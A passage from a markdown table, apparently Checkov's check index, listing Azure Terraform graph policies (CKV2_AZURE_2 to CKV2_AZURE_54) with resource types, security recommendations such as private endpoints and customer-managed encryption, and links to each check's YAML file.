Vulnerability Assessment (VA) is enabled on a SQL server by setting a Storage Account                                                                                                        | Terraform | [VAisEnabledInStorageAccount.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAisEnabledInStorageAccount.yaml)                                                               |\n| 3991 | CKV2_AZURE_2    | resource | azurerm_mssql_server_security_alert_policy                       | Ensure that Vulnerability Assessment (VA) is enabled on a SQL server by setting a Storage Account                                                                                                        | Terraform | [VAisEnabledInStorageAccount.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAisEnabledInStorageAccount.yaml)                                                               |\n| 3992 | CKV2_AZURE_2    | resource | azurerm_sql_server                                               | Ensure that Vulnerability Assessment (VA) is enabled on a SQL server by setting a Storage Account                                                                                                        | Terraform | [VAisEnabledInStorageAccount.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAisEnabledInStorageAccount.yaml)                                                               |\n| 3993 | CKV2_AZURE_3    | resource | azurerm_mssql_server                                             | Ensure that VA setting Periodic Recurring Scans is enabled on a SQL server                                                                                                                               | Terraform | [VAsetPeriodicScansOnSQL.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAsetPeriodicScansOnSQL.yaml)                                                                       |\n| 3994 | CKV2_AZURE_3    | resource | azurerm_mssql_server_security_alert_policy                       | Ensure that VA setting Periodic Recurring Scans is enabled on a SQL server                                                                                                                               | Terraform | [VAsetPeriodicScansOnSQL.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAsetPeriodicScansOnSQL.yaml)                                                                       |\n| 3995 | CKV2_AZURE_3    | resource | azurerm_mssql_server_vulnerability_assessment                    | Ensure that VA setting Periodic Recurring Scans is enabled on a SQL server                                                                                                                               | Terraform | [VAsetPeriodicScansOnSQL.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAsetPeriodicScansOnSQL.yaml)                                                                       |\n| 3996 | CKV2_AZURE_3    | resource | azurerm_sql_server                                               | Ensure that VA setting Periodic Recurring Scans is enabled on a SQL server                                                                                                                               | Terraform | [VAsetPeriodicScansOnSQL.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAsetPeriodicScansOnSQL.yaml)                                                                       |\n| 3997 | CKV2_AZURE_4    | resource | azurerm_mssql_server                                             | Ensure Azure SQL server ADS VA Send scan reports to is configured                                                                                                                                        | Terraform | [VAconfiguredToSendReports.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAconfiguredToSendReports.yaml)                                                                   |\n| 3998 | CKV2_AZURE_4    | resource | azurerm_mssql_server_security_alert_policy                       | Ensure Azure SQL server ADS VA Send scan reports to is configured                                                                                                                                        | Terraform | [VAconfiguredToSendReports.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAconfiguredToSendReports.yaml)                                                                   |\n| 3999 | CKV2_AZURE_4    | resource | azurerm_mssql_server_vulnerability_assessment                    | Ensure Azure SQL server ADS VA Send scan reports to is configured                                                                                                                                        | Terraform | [VAconfiguredToSendReports.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAconfiguredToSendReports.yaml)                                                                   |\n| 4000 | CKV2_AZURE_4    | resource | azurerm_sql_server                                               | Ensure Azure SQL server ADS VA Send scan reports to is configured                                                                                                                                        | Terraform | [VAconfiguredToSendReports.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAconfiguredToSendReports.yaml)                                                                   |\n| 4001 | CKV2_AZURE_5    | resource | azurerm_mssql_server                                             | Ensure that VA setting 'Also send email notifications to admins and subscription owners' is set for a SQL server                                                                                         | Terraform | [VAconfiguredToSendReportsToAdmins.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAconfiguredToSendReportsToAdmins.yaml)                                                   |\n| 4002 | CKV2_AZURE_5    | resource | azurerm_mssql_server_security_alert_policy                       | Ensure that VA setting 'Also send email notifications to admins and subscription owners' is set for a SQL server                                                                                         | Terraform | [VAconfiguredToSendReportsToAdmins.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAconfiguredToSendReportsToAdmins.yaml)                                                   |\n| 4003 | CKV2_AZURE_5    | resource | azurerm_mssql_server_vulnerability_assessment                    | Ensure that VA setting 'Also send email notifications to admins and subscription owners' is set for a SQL server                                                                                         | Terraform | [VAconfiguredToSendReportsToAdmins.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAconfiguredToSendReportsToAdmins.yaml)                                                   |\n| 4004 | CKV2_AZURE_5    | resource | azurerm_sql_server                                               | Ensure that VA setting 'Also send email notifications to admins and subscription owners' is set for a SQL server                                                                                         | Terraform | [VAconfiguredToSendReportsToAdmins.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAconfiguredToSendReportsToAdmins.yaml)                                                   |\n| 4005 | CKV2_AZURE_6    | resource | azurerm_sql_firewall_rule                                        | Ensure 'Allow access to Azure services' for PostgreSQL Database Server is disabled                                                                                                                       | Terraform | [AccessToPostgreSQLFromAzureServicesIsDisabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AccessToPostgreSQLFromAzureServicesIsDisabled.yaml)                           |\n| 4006 | CKV2_AZURE_6    | resource | azurerm_sql_server                                               | Ensure 'Allow access to Azure services' for PostgreSQL Database Server is disabled                                                                                                                       | Terraform | [AccessToPostgreSQLFromAzureServicesIsDisabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AccessToPostgreSQLFromAzureServicesIsDisabled.yaml)                           |\n| 4007 | CKV2_AZURE_7    | resource | azurerm_sql_server                                               | Ensure that Azure Active Directory Admin is configured                                                                                                                                                   | Terraform | [AzureActiveDirectoryAdminIsConfigured.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureActiveDirectoryAdminIsConfigured.yaml)                                           |\n| 4008 | CKV2_AZURE_8    | resource | azurerm_monitor_activity_log_alert                               | Ensure the storage container storing the activity logs is not publicly accessible                                                                                                                        | Terraform | [StorageContainerActivityLogsNotPublic.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/StorageContainerActivityLogsNotPublic.yaml)                                           |\n| 4009 | CKV2_AZURE_8    | resource | azurerm_storage_account                                          | Ensure the storage container storing the activity logs is not publicly accessible                                                                                                                        | Terraform | [StorageContainerActivityLogsNotPublic.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/StorageContainerActivityLogsNotPublic.yaml)                                           |\n| 4010 | CKV2_AZURE_8    | resource | azurerm_storage_container                                        | Ensure the storage container storing the activity logs is not publicly accessible                                                                                                                        | Terraform | [StorageContainerActivityLogsNotPublic.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/StorageContainerActivityLogsNotPublic.yaml)                                           |\n| 4011 | CKV2_AZURE_9    | resource | azurerm_virtual_machine                                          | Ensure Virtual Machines are utilizing Managed Disks                                                                                                                                                      | Terraform | [VirtualMachinesUtilizingManagedDisks.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VirtualMachinesUtilizingManagedDisks.yaml)                                             |\n| 4012 | CKV2_AZURE_10   | resource | azurerm_virtual_machine                                          | Ensure that Microsoft Antimalware is configured to automatically updates for Virtual Machines                                                                                                            | Terraform | [AzureAntimalwareIsConfiguredWithAutoUpdatesForVMs.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureAntimalwareIsConfiguredWithAutoUpdatesForVMs.yaml)                   |\n| 4013 | CKV2_AZURE_10   | resource | azurerm_virtual_machine_extension                                | Ensure that Microsoft Antimalware is configured to automatically updates for Virtual Machines                                                                                                            | Terraform | [AzureAntimalwareIsConfiguredWithAutoUpdatesForVMs.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureAntimalwareIsConfiguredWithAutoUpdatesForVMs.yaml)                   |\n| 4014 | CKV2_AZURE_11   | resource | azurerm_kusto_cluster                                            | Ensure that Azure Data Explorer encryption at rest uses a customer-managed key                                                                                                                           | Terraform | [DataExplorerEncryptionUsesCustomKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/DataExplorerEncryptionUsesCustomKey.yaml)                                               |\n| 4015 | CKV2_AZURE_12   | resource | azurerm_virtual_machine                                          | Ensure that virtual machines are backed up using Azure Backup                                                                                                                                            | Terraform | [VMHasBackUpMachine.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VMHasBackUpMachine.yaml)                                                                                 |\n| 4016 | CKV2_AZURE_13   | resource | azurerm_mssql_server_security_alert_policy                       | Ensure that sql servers enables data security policy                                                                                                                                                     | Terraform | [AzureMSSQLServerHasSecurityAlertPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureMSSQLServerHasSecurityAlertPolicy.yaml)                                         |\n| 4017 | CKV2_AZURE_13   | resource | azurerm_sql_server                                               | Ensure that sql servers enables data security policy                                                                                                                                                     | Terraform | [AzureMSSQLServerHasSecurityAlertPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureMSSQLServerHasSecurityAlertPolicy.yaml)                                         |\n| 4018 | CKV2_AZURE_14   | resource | azurerm_managed_disk                                             | Ensure that Unattached disks are encrypted                                                                                                                                                               | Terraform | [AzureUnattachedDisksAreEncrypted.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureUnattachedDisksAreEncrypted.yaml)                                                     |\n| 4019 | CKV2_AZURE_14   | resource | azurerm_virtual_machine                                          | Ensure that Unattached disks are encrypted                                                                                                                                                               | Terraform | [AzureUnattachedDisksAreEncrypted.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureUnattachedDisksAreEncrypted.yaml)                                                     |\n| 4020 | CKV2_AZURE_15   | resource | azurerm_data_factory                                             | Ensure that Azure data factories are encrypted with a customer-managed key                                                                                                                               | Terraform | [AzureDataFactoriesEncryptedWithCustomerManagedKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureDataFactoriesEncryptedWithCustomerManagedKey.yaml)                   |\n| 4021 | CKV2_AZURE_16   | resource | azurerm_mysql_server                                             | Ensure that MySQL server enables customer-managed key for encryption                                                                                                                                     | Terraform | [MSQLenablesCustomerManagedKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/MSQLenablesCustomerManagedKey.yaml)                                                           |\n| 4022 | CKV2_AZURE_16   | resource | azurerm_mysql_server_key                                         | Ensure that MySQL server enables customer-managed key for encryption                                                                                                                                     | Terraform | [MSQLenablesCustomerManagedKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/MSQLenablesCustomerManagedKey.yaml)                                                           |\n| 4023 | CKV2_AZURE_17   | resource | azurerm_postgresql_server                                        | Ensure that PostgreSQL server enables customer-managed key for encryption                                                                                                                                | Terraform | [PGSQLenablesCustomerManagedKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/PGSQLenablesCustomerManagedKey.yaml)                                                         |\n| 4024 | CKV2_AZURE_17   | resource | azurerm_postgresql_server_key                                    | Ensure that PostgreSQL server enables customer-managed key for encryption                                                                                                                                | Terraform | [PGSQLenablesCustomerManagedKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/PGSQLenablesCustomerManagedKey.yaml)                                                         |\n| 4025 | CKV2_AZURE_19   | resource | azurerm_synapse_workspace                                        | Ensure that Azure Synapse workspaces have no IP firewall rules attached                                                                                                                                  | Terraform | [AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached.yaml)               |\n| 4026 | CKV2_AZURE_20   | resource | azurerm_log_analytics_storage_insights                           | Ensure Storage logging is enabled for Table service for read requests                                                                                                                                    | Terraform | [StorageLoggingIsEnabledForTableService.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/StorageLoggingIsEnabledForTableService.yaml)                                         |\n| 4027 | CKV2_AZURE_20   | resource | azurerm_storage_account                                          | Ensure Storage logging is enabled for Table service for read requests                                                                                                                                    | Terraform | [StorageLoggingIsEnabledForTableService.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/StorageLoggingIsEnabledForTableService.yaml)                                         |\n| 4028 | CKV2_AZURE_20   | resource | azurerm_storage_table                                            | Ensure Storage logging is enabled for Table service for read requests                                                                                                                                    | Terraform | [StorageLoggingIsEnabledForTableService.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/StorageLoggingIsEnabledForTableService.yaml)                                         |\n| 4029 | CKV2_AZURE_21   | resource | azurerm_log_analytics_storage_insights                           | Ensure Storage logging is enabled for Blob service for read requests                                                                                                                                     | Terraform | [StorageLoggingIsEnabledForBlobService.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/StorageLoggingIsEnabledForBlobService.yaml)                                           |\n| 4030 | CKV2_AZURE_21   | resource | azurerm_storage_account                                          | Ensure Storage logging is enabled for Blob service for read requests                                                                                                                                     | Terraform | [StorageLoggingIsEnabledForBlobService.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/StorageLoggingIsEnabledForBlobService.yaml)                                           |\n| 4031 | CKV2_AZURE_21   | resource | azurerm_storage_container                                        | Ensure Storage logging is enabled for Blob service for read requests                                                                                                                                     | Terraform | [StorageLoggingIsEnabledForBlobService.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/StorageLoggingIsEnabledForBlobService.yaml)                                           |\n| 4032 | CKV2_AZURE_22   | resource | azurerm_cognitive_account                                        | Ensure that Cognitive Services enables customer-managed key for encryption                                                                                                                               | Terraform | [CognitiveServicesCustomerManagedKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/CognitiveServicesCustomerManagedKey.yaml)                                               |\n| 4033 | CKV2_AZURE_22   | resource | azurerm_cognitive_account_customer_managed_key                   | Ensure that Cognitive Services enables customer-managed key for encryption                                                                                                                               | Terraform | [CognitiveServicesCustomerManagedKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/CognitiveServicesCustomerManagedKey.yaml)                                               |\n| 4034 | CKV2_AZURE_23   | resource | azurerm_spring_cloud_service                                     | Ensure Azure spring cloud is configured with Virtual network (Vnet)                                                                                                                                      | Terraform | [AzureSpringCloudConfigWithVnet.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureSpringCloudConfigWithVnet.yaml)                                                         |\n| 4035 | CKV2_AZURE_24   | resource | azurerm_automation_account                                       | Ensure Azure automation account does NOT have overly permissive network access                                                                                                                           | Terraform | [AzureAutomationAccNotOverlyPermissiveNetAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureAutomationAccNotOverlyPermissiveNetAccess.yaml)                         |\n| 4036 | CKV2_AZURE_25   | resource | azurerm_mssql_database                                           | Ensure Azure SQL database Transparent Data Encryption (TDE) is enabled                                                                                                                                   | Terraform | [AzureSqlDbEnableTransparentDataEncryption.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureSqlDbEnableTransparentDataEncryption.yaml)                                   |\n| 4037 | CKV2_AZURE_26   | resource | azurerm_postgresql_flexible_server_firewall_rule                 | Ensure Azure PostgreSQL Flexible server is not configured with overly permissive network access                                                                                                          | Terraform | [AzurePostgreSQLFlexServerNotOverlyPermissive.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzurePostgreSQLFlexServerNotOverlyPermissive.yaml)                             |\n| 4038 | CKV2_AZURE_27   | resource | azurerm_mssql_server                                             | Ensure Azure AD authentication is enabled for Azure SQL (MSSQL)                                                                                                                                          | Terraform | [AzureConfigMSSQLwithAD.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureConfigMSSQLwithAD.yaml)                                                                         |\n| 4039 | CKV2_AZURE_28   | resource | azurerm_container_group                                          | Ensure Container Instance is configured with managed identity                                                                                                                                            | Terraform | [AzureContainerInstanceconfigManagedIdentity.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureContainerInstanceconfigManagedIdentity.yaml)                               |\n| 4040 | CKV2_AZURE_29   | resource | azurerm_kubernetes_cluster                                       | Ensure AKS cluster has Azure CNI networking enabled                                                                                                                                                      | Terraform | [AzureAKSclusterAzureCNIEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureAKSclusterAzureCNIEnabled.yaml)                                                         |\n| 4041 | CKV2_AZURE_30   | resource | azurerm_container_registry_webhook                               | Ensure Azure Container Registry (ACR) has HTTPS enabled for webhook                                                                                                                                      | Terraform | [AzureACR_HTTPSwebhook.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureACR_HTTPSwebhook.yaml)                                                                           |\n| 4042 | CKV2_AZURE_31   | resource | azurerm_subnet                                                   | Ensure VNET subnet is configured with a Network Security Group (NSG)                                                                                                                                     | Terraform | [AzureSubnetConfigWithNSG.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureSubnetConfigWithNSG.yaml)                                                                     |\n| 4043 | CKV2_AZURE_32   | resource | azurerm_key_vault                                                | Ensure private endpoint is configured to key vault                                                                                                                                                       | Terraform | [AzureKeyVaultConfigPrivateEndpoint.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureKeyVaultConfigPrivateEndpoint.yaml)                                                 |\n| 4044 | CKV2_AZURE_33   | resource | azurerm_storage_account                                          | Ensure storage account is configured with private endpoint                                                                                                                                               | Terraform | [AzureStorageAccConfigWithPrivateEndpoint.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureStorageAccConfigWithPrivateEndpoint.yaml)                                     |\n| 4045 | CKV2_AZURE_34   | resource | azurerm_mssql_firewall_rule                                      | Ensure Azure SQL server firewall is not overly permissive                                                                                                                                                | Terraform | [AzureSQLserverNotOverlyPermissive.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureSQLserverNotOverlyPermissive.yaml)                                                   |\n| 4046 | CKV2_AZURE_34   | resource | azurerm_sql_firewall_rule                                        | Ensure Azure SQL server firewall is not overly permissive                                                                                                                                                | Terraform | [AzureSQLserverNotOverlyPermissive.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureSQLserverNotOverlyPermissive.yaml)                                                   |\n| 4047 | CKV2_AZURE_35   | resource | azurerm_recovery_services_vault                                  | Ensure Azure recovery services vault is configured with managed identity                                                                                                                                 | Terraform | [AzureRecoveryServicesvaultConfigManagedIdentity.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureRecoveryServicesvaultConfigManagedIdentity.yaml)                       |\n| 4048 | CKV2_AZURE_36   | resource | azurerm_automation_account                                       | Ensure Azure automation account is configured with managed identity                                                                                                                                      | Terraform | [AzureAutomationAccConfigManagedIdentity.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureAutomationAccConfigManagedIdentity.yaml)                                       |\n| 4049 | CKV2_AZURE_37   | resource | azurerm_mariadb_server                                           | Ensure Azure MariaDB server is using latest TLS (1.2)                                                                                                                                                    | Terraform | [AzureMariaDBserverUsingTLS_1_2.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureMariaDBserverUsingTLS_1_2.yaml)                                                         |\n| 4050 | CKV2_AZURE_38   | resource | azurerm_storage_account                                          | Ensure soft-delete is enabled on Azure storage account                                                                                                                                                   | Terraform | [AzureStorageAccountEnableSoftDelete.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureStorageAccountEnableSoftDelete.yaml)                                               |\n| 4051 | CKV2_AZURE_39   | resource | azurerm_linux_virtual_machine                                    | Ensure Azure VM is not configured with public IP and serial console access                                                                                                                               | Terraform | [AzureVMconfigPublicIP_SerialConsoleAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureVMconfigPublicIP_SerialConsoleAccess.yaml)                                   |\n| 4052 | CKV2_AZURE_39   | resource | azurerm_network_interface                                        | Ensure Azure VM is not configured with public IP and serial console access                                                                                                                               | Terraform | [AzureVMconfigPublicIP_SerialConsoleAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureVMconfigPublicIP_SerialConsoleAccess.yaml)                                   |\n| 4053 | CKV2_AZURE_39   | resource | azurerm_virtual_machine                                          | Ensure Azure VM is not configured with public IP and serial console access                                                                                                                               | Terraform | [AzureVMconfigPublicIP_SerialConsoleAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureVMconfigPublicIP_SerialConsoleAccess.yaml)                                   |\n| 4054 | CKV2_AZURE_39   | resource | azurerm_windows_virtual_machine                                  | Ensure Azure VM is not configured with public IP and serial console access                                                                                                                               | Terraform | [AzureVMconfigPublicIP_SerialConsoleAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureVMconfigPublicIP_SerialConsoleAccess.yaml)                                   |\n| 4055 | CKV2_AZURE_40   | resource | azurerm_storage_account                                          | Ensure storage account is not configured with Shared Key authorization                                                                                                                                   | Terraform | [AzureStorageAccConfigSharedKeyAuth.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureStorageAccConfigSharedKeyAuth.yaml)                                                 |\n| 4056 | CKV2_AZURE_41   | resource | azurerm_storage_account                                          | Ensure storage account is configured with SAS expiration policy                                                                                                                                          | Terraform | [AzureStorageAccConfig_SAS_expirePolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureStorageAccConfig_SAS_expirePolicy.yaml)                                         |\n| 4057 | CKV2_AZURE_42   | resource | azurerm_postgresql_server                                        | Ensure Azure PostgreSQL server is configured with private endpoint                                                                                                                                       | Terraform | [AzurePostgreSQLserverConfigPrivEndpt.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzurePostgreSQLserverConfigPrivEndpt.yaml)                                             |\n| 4058 | CKV2_AZURE_43   | resource | azurerm_mariadb_server                                           | Ensure Azure MariaDB server is configured with private endpoint                                                                                                                                          | Terraform | [AzureMariaDBserverConfigPrivEndpt.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureMariaDBserverConfigPrivEndpt.yaml)                                                   |\n| 4059 | CKV2_AZURE_44   | resource | azurerm_mysql_server                                             | Ensure Azure MySQL server is configured with private endpoint                                                                                                                                            | Terraform | [AzureMySQLserverConfigPrivEndpt.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureMySQLserverConfigPrivEndpt.yaml)                                                       |\n| 4060 | CKV2_AZURE_45   | resource | azurerm_mssql_server                                             | Ensure Microsoft SQL server is configured with private endpoint                                                                                                                                          | Terraform | [AzureMSSQLserverConfigPrivEndpt.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureMSSQLserverConfigPrivEndpt.yaml)                                                       |\n| 4061 | CKV2_AZURE_46   | resource | azurerm_synapse_workspace_security_alert_policy                  | Ensure that Azure Synapse Workspace vulnerability assessment is enabled                                                                                                                                  | Terraform | [AzureSynapseWorkspaceVAisEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureSynapseWorkspaceVAisEnabled.yaml)                                                     |\n| 4062 | CKV2_AZURE_46   | resource | azurerm_synapse_workspace_vulnerability_assessment               | Ensure that Azure Synapse Workspace vulnerability assessment is enabled                                                                                                                                  | Terraform | [AzureSynapseWorkspaceVAisEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureSynapseWorkspaceVAisEnabled.yaml)                                                     |\n| 4063 | CKV2_AZURE_47   | resource | azurerm_storage_account                                          | Ensure storage account is configured without blob anonymous access                                                                                                                                       | Terraform | [AzureStorageAccConfigWithoutBlobAnonymousAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureStorageAccConfigWithoutBlobAnonymousAccess.yaml)                       |\n| 4064 | CKV2_AZURE_48   | resource | azurerm_databricks_workspace                                     | Ensure that Databricks Workspaces enables customer-managed key for root DBFS encryption                                                                                                                  | Terraform | [DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey.yaml) |\n| 4065 | CKV2_AZURE_49   | resource | azurerm_machine_learning_workspace                               | Ensure that Azure Machine learning workspace is not configured with overly permissive network access                                                                                                     | Terraform | [AzureMLWorkspacePublicNetwork.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureMLWorkspacePublicNetwork.yaml)                                                           |\n| 4066 | CKV2_AZURE_50   | resource | azurerm_machine_learning_workspace                               | Ensure Azure Storage Account storing Machine Learning workspace high business impact data is not publicly accessible                                                                                     | Terraform | [AzureMLWorkspaceHBIPublicNetwork.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureMLWorkspaceHBIPublicNetwork.yaml)                                                     |\n| 4067 | CKV2_AZURE_50   | resource | azurerm_storage_account                                          | Ensure Azure Storage Account storing Machine Learning workspace high business impact data is not publicly accessible                                                                                     | Terraform | [AzureMLWorkspaceHBIPublicNetwork.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureMLWorkspaceHBIPublicNetwork.yaml)                                                     |\n| 4068 | CKV2_AZURE_51   | resource | azurerm_synapse_sql_pool                                         | Ensure Synapse SQL Pool has a security alert policy                                                                                                                                                      | Terraform | [SynapseSQLPoolHasSecurityAlertPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SynapseSQLPoolHasSecurityAlertPolicy.yaml)                                             |\n| 4069 | CKV2_AZURE_51   | resource | azurerm_synapse_sql_pool_security_alert_policy                   | Ensure Synapse SQL Pool has a security alert policy                                                                                                                                                      | Terraform | [SynapseSQLPoolHasSecurityAlertPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SynapseSQLPoolHasSecurityAlertPolicy.yaml)                                             |\n| 4070 | CKV2_AZURE_52   | resource | azurerm_synapse_sql_pool                                         | Ensure Synapse SQL Pool has vulnerability assessment attached                                                                                                                                            | Terraform | [SynapseSQLPoolHasVulnerabilityAssessment.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SynapseSQLPoolHasVulnerabilityAssessment.yaml)                                     |\n| 4071 | CKV2_AZURE_52   | resource | azurerm_synapse_sql_pool_security_alert_policy                   | Ensure Synapse SQL Pool has vulnerability assessment attached                                                                                                                                            | Terraform | [SynapseSQLPoolHasVulnerabilityAssessment.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SynapseSQLPoolHasVulnerabilityAssessment.yaml)                                     |\n| 4072 | CKV2_AZURE_52   | resource | azurerm_synapse_sql_pool_vulnerability_assessment                | Ensure Synapse SQL Pool has vulnerability assessment attached                                                                                                                                            | Terraform | [SynapseSQLPoolHasVulnerabilityAssessment.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SynapseSQLPoolHasVulnerabilityAssessment.yaml)                                     |\n| 4073 | CKV2_AZURE_53   | resource | azurerm_synapse_workspace                                        | Ensure Azure Synapse Workspace has extended audit logs                                                                                                                                                   | Terraform | [SynapseWorkspaceHasExtendedAuditLogs.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SynapseWorkspaceHasExtendedAuditLogs.yaml)                                             |\n| 4074 | CKV2_AZURE_54   | resource | azurerm_synapse_sql_pool                                         | Ensure log monitoring is enabled for Synapse SQL Pool                                                                                                                                                    | Terraform | 